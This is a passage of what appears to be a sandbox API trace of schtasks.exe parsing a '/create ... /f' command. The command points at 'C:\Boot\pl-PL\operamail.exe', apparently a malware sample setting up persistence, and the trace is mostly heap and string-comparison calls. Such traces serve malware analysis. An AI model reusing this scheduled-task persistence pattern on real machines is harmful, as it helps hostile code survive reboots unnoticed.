29 [0135.377] GetProcessHeap () returned 0x60000 [0135.377] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7d4d0 [0135.377] _memicmp (_Buf1=0x7d4d0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.377] GetProcessHeap () returned 0x60000 [0135.377] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d4f0 [0135.377] GetProcessHeap () returned 0x60000 [0135.377] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7d510 [0135.377] _memicmp (_Buf1=0x7d510, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.377] GetProcessHeap () returned 0x60000 [0135.377] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x3e) returned 0x79270 [0135.377] SetLastError (dwErrCode=0x7a) [0135.377] SetLastError (dwErrCode=0x0) [0135.377] SetLastError (dwErrCode=0x0) [0135.377] lstrlenW (lpString="'C") returned 2 [0135.377] lstrlenW (lpString="-/") returned 2 [0135.377] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0135.377] SetLastError (dwErrCode=0x490) [0135.377] SetLastError (dwErrCode=0x490) [0135.377] SetLastError (dwErrCode=0x0) [0135.377] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.377] GetProcessHeap () returned 0x60000 [0135.377] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x3c) returned 0x792c0 [0135.377] GetProcessHeap () returned 0x60000 [0135.377] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ccf0 [0135.377] SetLastError (dwErrCode=0x0) [0135.377] SetLastError (dwErrCode=0x0) [0135.377] lstrlenW (lpString="/f") returned 2 [0135.377] lstrlenW (lpString="-/") returned 2 [0135.377] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.377] lstrlenW (lpString="?") returned 1 [0135.378] lstrlenW (lpString="?") returned 1 [0135.378] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.378] lstrlenW (lpString="f") returned 1 [0135.378] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.378] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|?|") returned 3 [0135.378] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|f|") returned 3 [0135.378] lstrlenW (lpString="|?|") returned 3 [0135.378] lstrlenW (lpString="|f|") returned 3 [0135.378] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0135.378] SetLastError (dwErrCode=0x490) [0135.378] lstrlenW (lpString="create") returned 6 [0135.378] lstrlenW (lpString="create") returned 6 [0135.378] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.378] lstrlenW (lpString="f") returned 1 [0135.378] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.378] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|create|") returned 8 [0135.378] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|f|") returned 3 [0135.378] lstrlenW (lpString="|create|") returned 8 [0135.378] lstrlenW (lpString="|f|") returned 3 [0135.378] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0135.378] SetLastError (dwErrCode=0x490) [0135.378] lstrlenW (lpString="delete") returned 6 [0135.378] lstrlenW (lpString="delete") returned 6 [0135.378] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.378] lstrlenW (lpString="f") returned 1 [0135.378] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.378] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|delete|") returned 8 [0135.379] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|f|") returned 3 [0135.379] lstrlenW (lpString="|delete|") returned 8 [0135.379] lstrlenW (lpString="|f|") returned 3 [0135.379] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0135.379] SetLastError (dwErrCode=0x490) [0135.379] lstrlenW (lpString="query") returned 5 [0135.379] lstrlenW (lpString="query") returned 5 [0135.379] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.379] lstrlenW (lpString="f") returned 1 [0135.379] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.379] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|query|") returned 7 [0135.379] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|f|") returned 3 [0135.379] lstrlenW (lpString="|query|") returned 7 [0135.379] lstrlenW (lpString="|f|") returned 3 [0135.379] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0135.379] SetLastError (dwErrCode=0x490) [0135.379] lstrlenW (lpString="change") returned 6 [0135.379] lstrlenW (lpString="change") returned 6 [0135.379] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.379] lstrlenW (lpString="f") returned 1 [0135.379] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.379] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|change|") returned 8 [0135.379] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|f|") returned 3 [0135.379] lstrlenW (lpString="|change|") returned 8 [0135.379] lstrlenW (lpString="|f|") returned 3 [0135.379] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0135.379] SetLastError (dwErrCode=0x490) [0135.379] lstrlenW (lpString="run") returned 3 [0135.380] lstrlenW (lpString="run") returned 3 [0135.380] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.380] lstrlenW (lpString="f") returned 1 [0135.380] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.380] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|run|") returned 5 [0135.380] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|f|") returned 3 [0135.380] lstrlenW (lpString="|run|") returned 5 [0135.380] lstrlenW (lpString="|f|") returned 3 [0135.380] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0135.380] SetLastError (dwErrCode=0x490) [0135.380] lstrlenW (lpString="end") returned 3 [0135.380] lstrlenW (lpString="end") returned 3 [0135.380] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.380] lstrlenW (lpString="f") returned 1 [0135.380] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.380] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|end|") returned 5 [0135.380] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|f|") returned 3 [0135.380] lstrlenW (lpString="|end|") returned 5 [0135.380] lstrlenW (lpString="|f|") returned 3 [0135.380] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0135.380] SetLastError (dwErrCode=0x490) [0135.380] lstrlenW (lpString="showsid") returned 7 [0135.380] lstrlenW (lpString="showsid") returned 7 [0135.380] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.380] lstrlenW (lpString="f") returned 1 [0135.380] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.380] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|showsid|") returned 9 [0135.380] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|f|") returned 3 [0135.380] lstrlenW (lpString="|showsid|") returned 9 [0135.380] lstrlenW (lpString="|f|") returned 3 [0135.380] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0135.381] SetLastError (dwErrCode=0x490) [0135.381] SetLastError (dwErrCode=0x490) [0135.381] SetLastError (dwErrCode=0x0) [0135.381] lstrlenW (lpString="/f") returned 2 [0135.381] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0135.381] SetLastError (dwErrCode=0x490) [0135.381] SetLastError (dwErrCode=0x0) [0135.381] lstrlenW (lpString="/f") returned 2 [0135.381] GetProcessHeap () returned 0x60000 [0135.381] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x6) returned 0x7dce0 [0135.381] GetProcessHeap () returned 0x60000 [0135.381] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cd20 [0135.381] SetLastError (dwErrCode=0x0) [0135.381] GetProcessHeap () returned 0x60000 [0135.381] GetProcessHeap () returned 0x60000 [0135.381] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c190) returned 1 [0135.381] GetProcessHeap () returned 0x60000 [0135.381] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c190) returned 0x8 [0135.381] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c190 | out: hHeap=0x60000) returned 1 [0135.381] GetProcessHeap () returned 0x60000 [0135.381] GetProcessHeap () returned 0x60000 [0135.381] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cba0) returned 1 [0135.381] GetProcessHeap () returned 0x60000 [0135.381] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cba0) returned 0x20 [0135.382] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cba0 | out: hHeap=0x60000) returned 1 [0135.382] GetProcessHeap () returned 0x60000 [0135.382] GetProcessHeap () returned 0x60000 [0135.382] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d490) returned 1 [0135.382] GetProcessHeap () returned 0x60000 [0135.382] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d490) returned 0x16 [0135.382] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d490 | out: hHeap=0x60000) returned 1 [0135.382] GetProcessHeap () returned 0x60000 [0135.382] GetProcessHeap () returned 0x60000 [0135.382] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cbd0) returned 1 [0135.382] GetProcessHeap () returned 0x60000 [0135.382] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cbd0) returned 0x20 [0135.382] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cbd0 | out: hHeap=0x60000) returned 1 [0135.382] GetProcessHeap () returned 0x60000 [0135.383] GetProcessHeap () returned 0x60000 [0135.383] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7dc60) returned 1 [0135.383] GetProcessHeap () returned 0x60000 [0135.383] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7dc60) returned 0x8 [0135.383] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7dc60 | out: hHeap=0x60000) returned 1 [0135.383] GetProcessHeap () returned 0x60000 [0135.383] GetProcessHeap () returned 0x60000 [0135.383] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc00) returned 1 [0135.383] GetProcessHeap () returned 0x60000 [0135.383] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cc00) returned 0x20 [0135.383] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc00 | out: hHeap=0x60000) returned 1 [0135.383] GetProcessHeap () returned 0x60000 [0135.383] GetProcessHeap () returned 0x60000 [0135.383] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d4b0) returned 1 [0135.383] GetProcessHeap () returned 0x60000 [0135.383] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d4b0) returned 0xe [0135.383] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d4b0 | out: hHeap=0x60000) returned 1 [0135.384] GetProcessHeap () returned 0x60000 [0135.384] GetProcessHeap () returned 0x60000 [0135.384] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc30) returned 1 [0135.384] GetProcessHeap () returned 0x60000 [0135.384] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cc30) returned 0x20 [0135.384] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc30 | out: hHeap=0x60000) returned 1 [0135.384] GetProcessHeap () returned 0x60000 [0135.384] GetProcessHeap () returned 0x60000 [0135.384] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7dc80) returned 1 [0135.384] GetProcessHeap () returned 0x60000 [0135.384] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7dc80) returned 0x8 [0135.384] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7dc80 | out: hHeap=0x60000) returned 1 [0135.384] GetProcessHeap () returned 0x60000 [0135.384] GetProcessHeap () returned 0x60000 [0135.384] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc60) returned 1 [0135.384] GetProcessHeap () returned 0x60000 [0135.384] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cc60) returned 0x20 [0135.385] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc60 | out: hHeap=0x60000) returned 1 [0135.387] GetProcessHeap () returned 0x60000 [0135.387] GetProcessHeap () returned 0x60000 [0135.387] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7dca0) returned 1 [0135.387] GetProcessHeap () returned 0x60000 [0135.387] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7dca0) returned 0x6 [0135.387] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7dca0 | out: hHeap=0x60000) returned 1 [0135.387] GetProcessHeap () returned 0x60000 [0135.387] GetProcessHeap () returned 0x60000 [0135.387] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc90) returned 1 [0135.387] GetProcessHeap () returned 0x60000 [0135.387] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cc90) returned 0x20 [0135.388] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc90 | out: hHeap=0x60000) returned 1 [0135.388] GetProcessHeap () returned 0x60000 [0135.388] GetProcessHeap () returned 0x60000 [0135.388] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7dcc0) returned 1 [0135.388] GetProcessHeap () returned 0x60000 [0135.388] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7dcc0) returned 0x8 [0135.388] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7dcc0 | out: hHeap=0x60000) returned 1 [0135.388] GetProcessHeap () returned 0x60000 [0135.388] GetProcessHeap () returned 0x60000 [0135.388] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccc0) returned 1 [0135.388] GetProcessHeap () returned 0x60000 [0135.388] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ccc0) returned 0x20 [0135.388] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccc0 | out: hHeap=0x60000) returned 1 [0135.389] GetProcessHeap () returned 0x60000 [0135.389] GetProcessHeap () returned 0x60000 [0135.389] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x792c0) returned 1 [0135.389] GetProcessHeap () returned 0x60000 [0135.389] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x792c0) returned 0x3c [0135.389] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x792c0 | out: hHeap=0x60000) returned 1 [0135.389] GetProcessHeap () returned 0x60000 [0135.389] GetProcessHeap () returned 0x60000 [0135.389] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccf0) returned 1 [0135.389] GetProcessHeap () returned 0x60000 [0135.389] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ccf0) returned 0x20 [0135.390] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccf0 | out: hHeap=0x60000) returned 1 [0135.390] GetProcessHeap () returned 0x60000 [0135.390] GetProcessHeap () returned 0x60000 [0135.390] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7dce0) returned 1 [0135.390] GetProcessHeap () returned 0x60000 [0135.390] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7dce0) returned 0x6 [0135.390] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7dce0 | out: hHeap=0x60000) returned 1 [0135.390] GetProcessHeap () returned 0x60000 [0135.390] GetProcessHeap () returned 0x60000 [0135.390] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd20) returned 1 [0135.390] GetProcessHeap () returned 0x60000 [0135.390] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cd20) returned 0x20 [0135.390] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd20 | out: hHeap=0x60000) returned 1 [0135.390] GetProcessHeap () returned 0x60000 [0135.390] GetProcessHeap () returned 0x60000 [0135.391] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7b960) returned 1 [0135.391] GetProcessHeap () returned 0x60000 [0135.391] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7b960) returned 0x18 [0135.391] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7b960 | out: hHeap=0x60000) returned 1 [0135.391] SetLastError (dwErrCode=0x0) [0135.391] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0135.391] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0135.391] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0135.391] VerifyVersionInfoW (in: lpVersionInformation=0x23c150, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x23c150) returned 1 [0135.392] SetLastError (dwErrCode=0x0) [0135.392] lstrlenW (lpString="create") returned 6 [0135.392] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0135.392] SetLastError (dwErrCode=0x490) [0135.392] SetLastError (dwErrCode=0x0) [0135.392] lstrlenW (lpString="create") returned 6 [0135.392] GetProcessHeap () returned 0x60000 [0135.392] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cd20 [0135.392] GetProcessHeap () returned 0x60000 [0135.392] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7d4b0 [0135.392] _memicmp (_Buf1=0x7d4b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.392] GetProcessHeap () returned 0x60000 [0135.392] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x16) returned 0x7d490 [0135.393] SetLastError (dwErrCode=0x0) [0135.393] _memicmp (_Buf1=0x7ba20, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.393] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7bbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0135.393] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0135.393] GetProcessHeap () returned 0x60000 [0135.393] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x74e) returned 0x7dc60 [0135.393] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x7dc60 | out: lpData=0x7dc60) returned 1 [0135.394] VerQueryValueW (in: pBlock=0x7dc60, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23c238, puLen=0x23c2a0 | out: lplpBuffer=0x23c238*=0x7dffc, puLen=0x23c2a0) returned 1 [0135.394] _memicmp (_Buf1=0x7ba20, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.394] _vsnwprintf (in: _Buffer=0x7bbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23c218 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0135.394] VerQueryValueW (in: pBlock=0x7dc60, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23c2a8, puLen=0x23c298 | out: lplpBuffer=0x23c2a8*=0x7de28, puLen=0x23c298) returned 1 [0135.394] lstrlenW (lpString="schtasks.exe") returned 12 [0135.394] lstrlenW (lpString="schtasks.exe") returned 12 [0135.394] lstrlenW (lpString=".EXE") returned 4 [0135.394] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0135.394] lstrlenW (lpString="schtasks.exe") returned 12 [0135.394] lstrlenW (lpString=".EXE") returned 4 [0135.394] lstrlenW (lpString="schtasks") returned 8 [0135.394] lstrlenW (lpString="/create") returned 7 [0135.394] _memicmp (_Buf1=0x7ba20, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.394] _vsnwprintf (in: _Buffer=0x7bbc0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x23c218 | out: _Buffer="schtasks /create") returned 16 [0135.394] _memicmp (_Buf1=0x7ba40, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.394] GetProcessHeap () returned 0x60000 [0135.395] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ccf0 [0135.395] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.395] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0135.395] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0135.395] GetProcessHeap () returned 0x60000 [0135.395] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x30) returned 0x77a60 [0135.395] _vsnwprintf (in: _Buffer=0x7bfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23c218 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0135.395] GetProcessHeap () returned 0x60000 [0135.395] GetProcessHeap () returned 0x60000 [0135.395] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7dc60) returned 1 [0135.395] GetProcessHeap () returned 0x60000 [0135.395] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7dc60) returned 0x74e [0135.395] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7dc60 | out: hHeap=0x60000) returned 1 [0135.395] SetLastError (dwErrCode=0x0) [0135.396] GetThreadLocale () returned 0x409 [0135.396] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.396] lstrlenW (lpString="create") returned 6 [0135.396] GetThreadLocale () returned 0x409 [0135.396] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.396] lstrlenW (lpString="?") returned 1 [0135.396] GetThreadLocale () returned 0x409 [0135.396] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.396] lstrlenW (lpString="s") returned 1 [0135.396] GetThreadLocale () returned 0x409 [0135.396] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.396] lstrlenW (lpString="u") returned 1 [0135.396] GetThreadLocale () returned 0x409 [0135.396] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.396] lstrlenW (lpString="p") returned 1 [0135.396] GetThreadLocale () returned 0x409 [0135.396] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.396] lstrlenW (lpString="ru") returned 2 [0135.396] GetThreadLocale () returned 0x409 [0135.396] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.396] lstrlenW (lpString="rp") returned 2 [0135.396] GetThreadLocale () returned 0x409 [0135.396] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.396] lstrlenW (lpString="sc") returned 2 [0135.396] GetThreadLocale () returned 0x409 [0135.396] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.396] lstrlenW (lpString="mo") returned 2 [0135.396] GetThreadLocale () returned 0x409 [0135.397] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.397] lstrlenW (lpString="d") returned 1 [0135.397] GetThreadLocale () returned 0x409 [0135.397] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.397] lstrlenW (lpString="m") returned 1 [0135.397] GetThreadLocale () returned 0x409 [0135.397] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.397] lstrlenW (lpString="i") returned 1 [0135.397] GetThreadLocale () returned 0x409 [0135.397] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.397] lstrlenW (lpString="tn") returned 2 [0135.397] GetThreadLocale () returned 0x409 [0135.397] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.397] lstrlenW (lpString="tr") returned 2 [0135.397] GetThreadLocale () returned 0x409 [0135.397] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.397] lstrlenW (lpString="st") returned 2 [0135.397] GetThreadLocale () returned 0x409 [0135.397] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.397] lstrlenW (lpString="sd") returned 2 [0135.397] GetThreadLocale () returned 0x409 [0135.397] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.397] lstrlenW (lpString="ed") returned 2 [0135.397] GetThreadLocale () returned 0x409 [0135.397] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.397] lstrlenW (lpString="it") returned 2 [0135.397] GetThreadLocale () returned 0x409 [0135.397] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.398] lstrlenW (lpString="et") returned 2 [0135.398] GetThreadLocale () returned 0x409 [0135.398] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.398] lstrlenW (lpString="k") returned 1 [0135.398] GetThreadLocale () returned 0x409 [0135.398] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.398] lstrlenW (lpString="du") returned 2 [0135.398] GetThreadLocale () returned 0x409 